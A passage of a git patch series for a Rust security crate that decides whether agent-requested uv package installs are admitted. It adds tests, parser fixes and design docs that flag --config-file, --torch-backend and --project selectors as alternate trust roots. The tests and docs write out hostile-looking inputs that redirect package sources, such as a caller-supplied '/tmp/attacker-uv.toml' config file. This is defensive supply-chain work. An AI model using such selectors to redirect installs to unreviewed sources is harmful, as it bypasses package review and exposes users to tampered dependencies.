a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -599,7 +599,7 @@ fn requests_inline_eval(executable: &str, arguments: &[String]) -> bool { /// option's separate value for a command token. Unknown option grammar remains /// unsupported by the install policy; this helper only establishes the `run` /// delegation boundary used for trust-evidence attribution. -fn uv_active_command_index(arguments: &[String]) -> Option { +pub(crate) fn uv_active_command_index(arguments: &[String]) -> Option { const VALUE_OPTIONS: &[&str] = &[ "--allow-insecure-host", "--trusted-host", @@ -648,7 +648,7 @@ fn uv_active_command_index(arguments: &[String]) -> Option { /// commands. Unknown flag spellings remain unsupported and are treated only as /// flag tokens; the first positional token still establishes the delegation /// boundary. An explicit `--` ends uv-owned argv immediately. -fn uv_run_owned_argument_end(arguments: &[String], run_index: usize) -> usize { +pub(crate) fn uv_run_owned_argument_end(arguments: &[String], run_index: usize) -> usize { const VALUE_OPTIONS: &[&str] = &[ "--allow-insecure-host", "--trusted-host", @@ -757,7 +757,6 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--strict-ssl", "--git", "--path", - "--config-file", "-i", "-f", ]; From 5efb0366e5b881b35310bc2a7b0f51fb6b72836f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 09:14:08 +0900 Subject: [PATCH 591/702] fix(security): scope uv config authority to owned argv --- .../src/uv_configuration_authority.rs | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 7718fba1..3be5e678 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::policy::{uv_active_command_index, uv_run_owned_argument_end}; /// Return whether an approved uv install delegates package-source or trust /// authority to caller-selected uv configuration. @@ -11,15 +12,14 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt } let arguments = &intent.argv[1..]; - let run_position = arguments.iter().position(|argument| argument == "run"); - let pip_position = arguments.iter().position(|argument| argument == "pip"); - if run_position - .is_some_and(|run_index| pip_position.is_none_or(|pip_index| run_index < pip_index)) - { - return false; - } + let configuration_arguments = match uv_active_command_index(arguments) { + Some(run_index) if arguments[run_index] == "run" => { + &arguments[..uv_run_owned_argument_end(arguments, run_index)] + } + _ => arguments, + }; - if arguments.iter().any(|argument| { + if configuration_arguments.iter().any(|argument| { argument == "--directory" || argument.starts_with("--directory=") || argument == "--config-file" From bcc6caa031342454c9444d41eaf47025ffc19981 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 10:07:44 +0900 Subject: [PATCH 592/702] test(admission): expose uv global torch-backend evidence gap --- .../uv_torch_backend_authority_contract.rs | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs index bbdb1042..e6962cc0 100644 --- a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs @@ -50,6 +50,49 @@ fn uv_torch_backend_separate_value_reports_alternate_trust_root() { ); } +#[test] +fn uv_global_option_preserves_attached_torch_backend_source_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.splice( + 1..1, + ["--color".to_string(), "never".to_string()], + ); + intent.argv.push("--torch-backend=cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "a reviewed uv global option must not hide the pip-install torch-backend source authority: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_option_preserves_separate_torch_backend_source_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.splice( + 1..1, + ["--color".to_string(), "never".to_string()], + ); + intent.argv.push("--torch-backend".to_string()); + intent.argv.push("cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate-value torch-backend authority must remain visible after uv global options: {:?}", + decision.reason_codes + ); +} + fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 68835aca70757f9e17ae53c8f37d7729a2ff1cc5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 10:09:13 +0900 Subject: [PATCH 593/702] test(admission): format uv torch-backend RED fixture --- .../tests/uv_torch_backend_authority_contract.rs | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs index e6962cc0..d1cf7932 100644 --- a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs @@ -53,10 +53,9 @@ fn uv_torch_backend_separate_value_reports_alternate_trust_root() { #[test] fn uv_global_option_preserves_attached_torch_backend_source_evidence() { let (policy, mut intent) = approved_uv_install(); - intent.argv.splice( - 1..1, - ["--color".to_string(), "never".to_string()], - ); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); intent.argv.push("--torch-backend=cpu".to_string()); let decision = admission_decision(&policy, &intent); @@ -74,10 +73,9 @@ fn uv_global_option_preserves_attached_torch_backend_source_evidence() { #[test] fn uv_global_option_preserves_separate_torch_backend_source_evidence() { let (policy, mut intent) = approved_uv_install(); - intent.argv.splice( - 1..1, - ["--color".to_string(), "never".to_string()], - ); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); intent.argv.push("--torch-backend".to_string()); intent.argv.push("cpu".to_string()); From 9c2ffbbcec1b38b2916f655e26dabc942241b72e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 10:11:16 +0900 Subject: [PATCH 594/702] fix(admission): retain uv torch-backend authority after globals --- .../src/uv_configuration_authority.rs | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 3be5e678..58bb0f9e 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -28,9 +28,12 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt return true; } - if !arguments.first().is_some_and(|argument| argument == "pip") + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" || !arguments - .get(1) + .get(pip_index + 1) .is_some_and(|argument| argument == "install") { return false; @@ -38,6 +41,6 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt arguments .iter() - .skip(2) + .skip(pip_index + 2) .any(|argument| argument == "--torch-backend" || argument.starts_with("--torch-backend=")) } From c3d5d6f251bef0b2a876c41e3f7f0ce73fba30d9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 10:21:46 +0900 Subject: [PATCH 595/702] docs(admission): trace uv torch-backend source authority --- docs/doctoring/uv-configuration-authority.md | 40 +++++++++++++------- 1 file changed, 26 insertions(+), 14 deletions(-) diff --git a/docs/doctoring/uv-configuration-authority.md b/docs/doctoring/uv-configuration-authority.md index c8a09460..adc26f89 100644 --- a/docs/doctoring/uv-configuration-authority.md +++ b/docs/doctoring/uv-configuration-authority.md @@ -2,48 +2,60 @@ ## Problem and security boundary -Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv` also accepts the global `--config-file ` selector, which selects a caller-supplied `uv.toml`. Astral documents both this CLI selector and configuration-file index settings, including a default package index. If an untrusted agent can select that file, the same structured install intent can delegate package-source and trust configuration to data outside the reviewed admission coordinate. +Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv` also accepts command-line and configuration selectors that can change where packages are fetched from. Astral documents the top-level grammar as `uv [OPTIONS] `, so reviewed global options can precede the active subcommand, and documents `--torch-backend` as a `uv pip` source selector for PyTorch-ecosystem packages. -The selector is security-significant independently of whether Wardnet's narrower executable grammar supports that exact global-option placement. An unsupported command must remain fail-closed, but its evidence should still retain the causal configuration-authority reason rather than degrading to only a generic forbidden-command reason. +Two observable authority changes are security-significant here. First, global `--config-file ` can select caller-supplied configuration containing package-index settings. Second, `--torch-backend` causes uv to ignore configured index URLs for PyTorch-ecosystem packages and use the selected backend/index instead. An approved package coordinate must therefore not inherit admission merely because either selector appears in a syntactically different, but documented, parser phase. -This is Wardnet policy authority, not transport execution. Wardnet therefore rejects the caller-selected configuration selector wherever its exact documented argv spelling is observable. EgressWeave remains the canonical executable outbound URL/address/DNS/peer/redirect/proxy/TLS authorization owner, while `quarantine-sandbox-runtime` remains the effective runtime environment/filesystem/process isolation owner. +The selectors are security-significant independently of whether Wardnet's narrower executable grammar supports every documented global-option placement. An unsupported command must remain fail-closed, but its evidence should retain the causal configuration/source-authority reason rather than degrading to only a generic forbidden-command reason. + +This is Wardnet policy and security-evidence authority, not transport execution. Wardnet therefore classifies caller-selected configuration/source authority where the exact documented argv spelling is observable. EgressWeave remains the canonical executable outbound URL/address/DNS/peer/redirect/proxy/TLS authorization owner, while `quarantine-sandbox-runtime` remains the effective runtime environment/filesystem/process isolation owner. ## Constraints and alternatives -The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not widen Wardnet's supported uv execution grammar, parse or trust the selected `uv.toml`, copy uv configuration semantics into Wardnet, infer ambient `UV_CONFIG_FILE`, or infer that an EgressWeave transport allow would authorize a different package source. +The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not widen Wardnet's supported uv execution grammar, parse or trust a selected `uv.toml`, copy uv configuration semantics into Wardnet, infer ambient `UV_CONFIG_FILE` or `UV_TORCH_BACKEND`, or infer that an EgressWeave transport allow would authorize a different package source. Three alternatives were considered: -1. Parse the selected configuration file and admit a request when its effective index appears equivalent. Rejected because this creates a second uv configuration interpreter inside Wardnet and moves runtime/configuration truth into the wrong bounded context. +1. Parse selected configuration and admit a request when its effective index appears equivalent. Rejected because this creates a second uv configuration interpreter inside Wardnet and moves runtime/configuration truth into the wrong bounded context. 2. Rely on EgressWeave to block the resulting network destination. Rejected because transport authorization cannot repair a pre-execution admission decision whose reviewed package authority has already been widened. -3. Classify exact `--config-file` and `--config-file=` as alternate trust/configuration authority anywhere in the observed uv argv while leaving executable support validation separate. Chosen because it is fail-closed, minimal, reversible, preserves causal evidence for documented global placement, and does not broaden what Wardnet is willing to execute. +3. Use the existing bounded `uv_active_command_index` parser to separate reviewed uv global options from the active command, then classify only exact source-authority selectors in their owned parser slice while leaving executable support validation separate. Chosen because it is fail-closed, minimal, reversible, preserves causal evidence for documented placement, and does not broaden what Wardnet is willing to execute. ## RED and causal repair -Issue #264 records the original hostile case. Test-only commit `a718e68bd7f13df9d54f5bd85ef7cde781d4827d`, stacked directly on canonical Agent Artifact Admission #129, added an otherwise-approved uv install plus attached and separate configuration-file selectors after `uv pip install`. Hosted CI run `34490519712`, rust job `102915749368`, passed checkout, Rust setup and formatting, then failed in the test phase. The causal repair in #265 introduced the Wardnet-local configuration-authority classifier for that supported command placement. +Issue #264 records the original `--config-file` hostile case. Test-only commit `a718e68bd7f13df9d54f5bd85ef7cde781d4827d`, stacked directly on canonical Agent Artifact Admission #129, added an otherwise-approved uv install plus attached and separate configuration-file selectors after `uv pip install`. Hosted CI run `34490519712`, rust job `102915749368`, passed checkout, Rust setup and formatting, then failed in the test phase. The causal repair in #265 introduced the Wardnet-local configuration-authority classifier for that supported command placement. Successor review on canonical `#129@3f89f56c2de9039e9e6a9e34e4c6686f0eaf6da2` then found a placement-specific evidence defect: because the classifier first required fixed-position `uv pip install`, documented global forms such as `uv --config-file /tmp/attacker-uv.toml pip install ...` remained blocked only by the generic command grammar and did not carry `alternate_trust_root`. -Successor test-only exact `b69312002943ff419152dd58dbc1880649120e44` added hermetic separate-value and attached-value global forms plus a near-spelling negative semantic control while production source remained byte-identical. Hosted CI `34715293235`, rust job `103611334897`, passed checkout, toolchain and formatting and then failed in the Test step; Clippy was skipped. That is the causal RED for missing security evidence rather than runner/bootstrap noise. +Successor test-only exact `b69312002943ff419152dd58dbc1880649120e44` added hermetic separate-value and attached-value global forms plus a near-spelling negative semantic control while production source remained byte-identical. Hosted CI `34715293235`, rust job `103611334897`, passed checkout, toolchain and formatting and then failed in the Test step; Clippy was skipped. That is the causal RED for missing security evidence rather than runner/bootstrap noise. The minimum successor repair recognizes exact `--config-file` and `--config-file=...` together with the already-bound global `--directory` selector before supported-command validation. + +Issue #389 records the next source-authority evidence defect. The configuration classifier already reused `uv_active_command_index`, but `--torch-backend` attribution still assumed fixed-position `uv pip install`. A documented global option could therefore shift the active `pip` command and hide the causal `alternate_trust_root` reason. Formatting-only test head `68835aca70757f9e17ae53c8f37d7729a2ff1cc5` kept production source byte-identical to its exact #129 parent and added both `uv --color never pip install ... --torch-backend=cpu` and separate-value `--torch-backend cpu` cases. Hosted CI `34729809606`, rust job `103650392270`, passed checkout, toolchain and formatting and then failed in the Test step, establishing the semantic RED. -The minimum successor repair recognizes exact `--config-file` and `--config-file=...` together with the already-bound global `--directory` selector before fixed subcommand-position validation. It leaves `supported_install_command` unchanged, so an otherwise unsupported global-option command remains generically forbidden in addition to carrying the causal `alternate_trust_root` reason. `--torch-backend` remains scoped to the currently supported fixed-position `uv pip install` grammar. No ambient configuration is inferred and no selected file is read. +The minimum #390 repair reuses the existing `uv_active_command_index`; it does not create another uv parser. After locating the active top-level command it requires exact `pip` followed by exact `install`, and scans only that pip-install argument slice for exact `--torch-backend` or `--torch-backend=...`. Delegated `uv run` child argv is not interpreted as uv package-source authority. `supported_install_command` remains unchanged, so an otherwise unsupported global-option command remains generically forbidden in addition to carrying the causal `alternate_trust_root` reason. Exact submitted argv identity remains part of admission evidence. ## Risk and follow-up -The CLI selector is only one configuration channel. Environment-provided configuration such as `UV_CONFIG_FILE`, inherited user/system files, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. +The CLI selectors are only observable configuration channels. Environment-provided configuration such as `UV_CONFIG_FILE` and `UV_TORCH_BACKEND`, inherited user/system files, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. + +Astral marks `torch-backend` as preview behavior that may change. The parser therefore deliberately binds only the documented exact option spelling and `uv pip install` source-authority slice rather than copying backend/index tables or broader uv semantics into Wardnet. Future uv changes require a fresh hostile contract and exact-head evidence before policy expansion. -A child merge into #129 is not protected-product completion. #264 remains open until the integrated Agent Artifact Admission lineage reaches protected `main`, and each successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. +A child merge into #129 is not protected-product completion. #264 and #389 remain open until their effective Agent Artifact Admission lineage reaches protected `main` or a verified complete successor, and each successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. ## Traceability -- CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration selector is treated here as an admission authority change rather than ordinary argument detail. -- NIST SSDF PW.4 requires reusable security controls and secure coding practices to prevent common vulnerabilities; the fail-closed classifier is a narrow preventive control at the command-admission boundary. -- Astral's uv CLI reference is authoritative for the global `--config-file` selector; Astral's configuration-file documentation is authoritative for configuration-defined package indexes. +- CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration and package-source selectors are treated here as admission authority changes rather than ordinary argument detail. +- NIST SSDF PW.4 requires reusable security controls and secure coding practices to prevent common vulnerabilities; Wardnet's fail-closed, parser-bounded classifier is a narrow preventive control at the command-admission boundary. The repository already carries the redistributable NIST SP 800-218 source PDF under `docs/papers/`; no duplicate copy is needed for this change. +- Astral's current CLI reference is authoritative for the top-level `uv [OPTIONS] ` grammar and global `--color` option. This is why evidence classification cannot assume that `pip` is always the first token after the executable. +- Astral's settings reference states that `torch-backend` changes package fetching for the PyTorch ecosystem, ignores configured index URLs for those packages, and is respected only by `uv pip` commands. This establishes `--torch-backend` as package-source authority rather than a presentation or performance flag. +- Astral's PyTorch integration guide documents current command-line forms such as `uv pip install torch --torch-backend=auto` and specific backend selection. These vendor pages are linked rather than copied into `docs/papers/`: this change does not assert a redistribution license for snapshots of the Astral documentation. ## References Astral Software, Inc. (2026). *uv command-line reference*. https://docs.astral.sh/uv/reference/cli/ +Astral Software, Inc. (2026). *uv settings reference*. https://docs.astral.sh/uv/reference/settings/ + +Astral Software, Inc. (2026, August 14). *Using uv with PyTorch*. https://docs.astral.sh/uv/guides/integration/pytorch/ + Astral Software, Inc. (2026). *Configuration files*. https://docs.astral.sh/uv/configuration/files/ MITRE. (2026). *CWE-15: External control of system or configuration setting*. https://cwe.mitre.org/data/definitions/15.html From 0c188b5ada37e2b2faed128c8be9def3370ac674 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 10:24:28 +0900 Subject: [PATCH 596/702] docs(security): align uv traceability with SSDF PW.4 --- docs/doctoring/uv-configuration-authority.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/uv-configuration-authority.md b/docs/doctoring/uv-configuration-authority.md index adc26f89..c55c7cb9 100644 --- a/docs/doctoring/uv-configuration-authority.md +++ b/docs/doctoring/uv-configuration-authority.md @@ -43,7 +43,7 @@ A child merge into #129 is not protected-product completion. #264 and #389 remai ## Traceability - CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration and package-source selectors are treated here as admission authority changes rather than ordinary argument detail. -- NIST SSDF PW.4 requires reusable security controls and secure coding practices to prevent common vulnerabilities; Wardnet's fail-closed, parser-bounded classifier is a narrow preventive control at the command-admission boundary. The repository already carries the redistributable NIST SP 800-218 source PDF under `docs/papers/`; no duplicate copy is needed for this change. +- NIST SSDF PW.4 directs software producers to reuse existing, well-secured software when feasible instead of duplicating functionality, with particular importance for security functionality. Reusing Wardnet's already-reviewed bounded `uv_active_command_index` parser rather than adding a second uv parser aligns with that practice and reduces divergent security interpretation. The repository already carries the redistributable NIST SP 800-218 source PDF under `docs/papers/`; no duplicate copy is needed for this change. - Astral's current CLI reference is authoritative for the top-level `uv [OPTIONS] ` grammar and global `--color` option. This is why evidence classification cannot assume that `pip` is always the first token after the executable. - Astral's settings reference states that `torch-backend` changes package fetching for the PyTorch ecosystem, ignores configured index URLs for those packages, and is respected only by `uv pip` commands. This establishes `--torch-backend` as package-source authority rather than a presentation or performance flag. - Astral's PyTorch integration guide documents current command-line forms such as `uv pip install torch --torch-backend=auto` and specific backend selection. These vendor pages are linked rather than copied into `docs/papers/`: this change does not assert a redistribution license for snapshots of the Astral documentation. @@ -60,4 +60,4 @@ Astral Software, Inc. (2026). *Configuration files*. https://docs.astral.sh/uv/c MITRE. (2026). *CWE-15: External control of system or configuration setting*. https://cwe.mitre.org/data/definitions/15.html -National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +Souppaya, M., Scarfone, K., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 From b16091bcf6bb02be38ecff53d718f145658500a8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:04:56 +0900 Subject: [PATCH 597/702] test(security): prove uv project authority evidence gap --- .../tests/uv_project_authority_contract.rs | 182 ++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_project_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs new file mode 100644 index 00000000..6d3f57f1 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs @@ -0,0 +1,182 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn uv_run_project_root_is_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec![ + "uv", + "run", + "--project", + "/tmp/attacker-project", + "python", + ], + vec!["uv", "run", "--project=/tmp/attacker-project", "python"], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "caller-selected uv project discovery must retain stable alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_run_child_project_argument_is_not_reinterpreted_as_uv_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "python".to_string(), + "--project".to_string(), + "/tmp/child-project".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "delegated child argv must not be reinterpreted as uv configuration authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_run_nearby_project_spelling_does_not_inherit_project_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--projectx=/tmp/attacker-project".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent uv option semantics for nearby spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_pip_project_remains_indirect_source_not_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "--project".to_string(), + "/tmp/requirements-project".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv pip --project must keep the existing indirect-source control: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Astral documents --project as ineffective in the uv pip interface: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-project-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} From 153e212d778e824ae4b4a495c53531137ba1ae53 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:09:10 +0900 Subject: [PATCH 598/702] test(security): apply canonical rustfmt to uv project RED --- .../tests/uv_project_authority_contract.rs | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs index 6d3f57f1..28a2300a 100644 --- a/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_project_authority_contract.rs @@ -8,13 +8,7 @@ fn uv_run_project_root_is_configuration_authority() { let (policy, mut intent) = approved_uv_install(); for argv in [ - vec![ - "uv", - "run", - "--project", - "/tmp/attacker-project", - "python", - ], + vec!["uv", "run", "--project", "/tmp/attacker-project", "python"], vec!["uv", "run", "--project=/tmp/attacker-project", "python"], ] { intent.argv = argv.into_iter().map(str::to_string).collect(); From 6411ead2d056d778ba0dcbd465e09fbdf27202b3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:13:23 +0900 Subject: [PATCH 599/702] fix(security): classify uv project-root authority --- .../src/uv_configuration_authority.rs | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 58bb0f9e..d0a95f88 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -12,7 +12,8 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt } let arguments = &intent.argv[1..]; - let configuration_arguments = match uv_active_command_index(arguments) { + let active_command_index = uv_active_command_index(arguments); + let configuration_arguments = match active_command_index { Some(run_index) if arguments[run_index] == "run" => { &arguments[..uv_run_owned_argument_end(arguments, run_index)] } @@ -28,7 +29,15 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt return true; } - let Some(pip_index) = uv_active_command_index(arguments) else { + if active_command_index.is_some_and(|index| arguments[index] == "run") + && configuration_arguments + .iter() + .any(|argument| argument == "--project" || argument.starts_with("--project=")) + { + return true; + } + + let Some(pip_index) = active_command_index else { return false; }; if arguments[pip_index] != "pip" From c362c53d15d671a3cee3e7e80fed22cf248e1543 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:13:50 +0900 Subject: [PATCH 600/702] docs(security): trace uv project-root authority --- docs/doctoring/uv-configuration-authority.md | 21 +++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/docs/doctoring/uv-configuration-authority.md b/docs/doctoring/uv-configuration-authority.md index c55c7cb9..74b1d3bb 100644 --- a/docs/doctoring/uv-configuration-authority.md +++ b/docs/doctoring/uv-configuration-authority.md @@ -4,7 +4,7 @@ Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv` also accepts command-line and configuration selectors that can change where packages are fetched from. Astral documents the top-level grammar as `uv [OPTIONS] `, so reviewed global options can precede the active subcommand, and documents `--torch-backend` as a `uv pip` source selector for PyTorch-ecosystem packages. -Two observable authority changes are security-significant here. First, global `--config-file ` can select caller-supplied configuration containing package-index settings. Second, `--torch-backend` causes uv to ignore configured index URLs for PyTorch-ecosystem packages and use the selected backend/index instead. An approved package coordinate must therefore not inherit admission merely because either selector appears in a syntactically different, but documented, parser phase. +Three observable authority changes are security-significant here. First, global `--config-file ` can select caller-supplied configuration containing package-index settings. Second, `--torch-backend` causes uv to ignore configured index URLs for PyTorch-ecosystem packages and use the selected backend/index instead. Third, project-aware uv commands accept `--project ` to select the project root from which uv discovers project configuration and project-local Python/environment state. An approved package coordinate or unsupported command must therefore not lose causal security evidence merely because one of these selectors appears in a different documented parser phase. The selectors are security-significant independently of whether Wardnet's narrower executable grammar supports every documented global-option placement. An unsupported command must remain fail-closed, but its evidence should retain the causal configuration/source-authority reason rather than degrading to only a generic forbidden-command reason. @@ -12,7 +12,9 @@ This is Wardnet policy and security-evidence authority, not transport execution. ## Constraints and alternatives -The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not widen Wardnet's supported uv execution grammar, parse or trust a selected 